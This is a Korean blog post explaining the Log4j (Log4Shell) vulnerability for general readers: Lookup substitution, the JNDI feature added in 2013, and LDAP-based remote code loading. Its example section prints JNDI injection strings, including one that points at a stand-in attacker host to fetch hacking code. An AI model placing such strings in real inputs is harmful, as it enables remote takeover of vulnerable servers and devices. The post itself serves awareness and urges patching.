남녀노소 모두에게 인기 있는 게임 '마인크래프트'가 12월 10일 해커들의 공격을 받았고 심지어 가정집의 월패드, 펫캠, 노트북 등도 표적이 되어 사생활이 담긴 불법 영상들이 다크 웹으로 흘러들어가고 있다.
이게 어떻게 된 일일까?
대부분의 서버는 로그 기능을 활용하기 위해 Log4j라는 오픈소스를 사용한다.
(* 여기서 Log4j란 Log for Java의 줄임말이다.)
Log4j는 오픈 소스인데다가 편리한 장점들이 있어 보편적으로 사용된다.
Log4j의 장점
- 프로그램 변경 없이 명령어 만으로 로그 출력여부 결정
- 로그의 종류나 중요도에 따라 그룹핑 가능. 체계적인 로그 시스템을 만들기 용이
- 텍스트 파일 뿐만 아니라 원격 서버나 시스템 로그 등 플랫폼 제약 없이 사용
이런 편리한 기능 중 문제의 소지가 된 건 Lookup이라는 기능이다.
Lookup은 '조회'라는 뜻으로 로그를 출력할 때 ${} 표현식을 이용해 정보를 치환한다.
예를 들어, ${myname} 이라는 구문이 있다면, 사용자에 따라서 출력되는 이름이 달라진다.
보영이가 "내 이름은 ${myname}이야!" 라고 로그를 남기면, 출력은 "내 이름은 보영이야!" 이 된다.재석이가 같은 로그를 남기면, "내 이름은 재석이야!" 와 같이 출력 결과가 달라진다.
2013년 7월 17일 한 가지 Lookup 기능이 업데이트가 되었는데,
바로 JNDI (Java Naming and Directory Interface) 기능이 추가된 것이다.
https://issues.apache.org/jira/browse/LOG4J2-313
JNDI를 아주 간단하게 설명하면 다른 곳에서 정보를 가져올 수 있는 인터페이스이다.
해커는 이 JNDI 위에 LDAP (Lightweight Directory Access Protocol) 프로토콜을 사용했다.
LDAP 은 사용자, 시스템, 네트워크, 서비스, 앱 등의 정보를 공유하기 위한 오픈 프로토콜이다.
이 프로토콜을 이용해 원격 해커PC에 있는 해킹프로그램을 다운받아 타겟의 제어권을 탈취한다.
탈취 로그 예제
- 기본포맷: ${jndi:ldap://hacker_PC_IP/hacking_code}
- 타겟 강제 네이버 접속: ${jndi:ldap://10.10.10.10/Basic/Command/start www.naver.com}
원격 해킹 프로그램을 전자기기에 설치하면 월패드 카메라 영상 유출 사례처럼 기기 자체가 해킹된다.
웹사이트나 앱 등에 설치된 경우 그 사이트를 이용하며 입력한 정보들이 해킹된다.
심지어 전자기기에 보안 문제가 없어도 기기에 깔린 프로그램 하나가 Log4j를 오픈소스를 사용해 보안 취약점이 있다면 전자기기까지 취약하다.
이 이슈는 2013년부터 최근까지 8년간 방치되어 어디에 얼마큼 보안 위험이 있는지 가늠하기 어려울 정도이며 해커가 악의적으로 악성 프로그램까지 설치했다면 보안패치를 적용해도 안전하지 않을 수 있다.
Log4j 사태로 모든 기업들이 비상사태이며, 어떤 공격이 들어왔었는지 다 찾아봐야 대응할 수 있기 때문에 담당자들은 일일이 로그 내역을 확인하고 있다.
어서 빨리 기업에서 보안 취약점을 해결한 패치를 진행해 주길 바라며 항상 보안 업데이트를 최신으로 유지하는 습관을 기르자.
'지식공유 > 테크 이슈' 카테고리의 다른 글
"마이크로소프트, 액티비전 블리자드 인수" 왜? MS의 3가지 속내 (0) | 2022.01.20 |
---|---|
OTP 장점과 원리 그리고 표준 RFC6238 (0) | 2022.01.16 |
메타버스란 무엇인가? Metaverse 개념정리 (0) | 2021.12.31 |
ICT 2022 10대 이슈로 보는 Trend 따라가기 (0) | 2021.12.21 |
[C/C++] 코드 실행시간 측정 (0) | 2014.01.13 |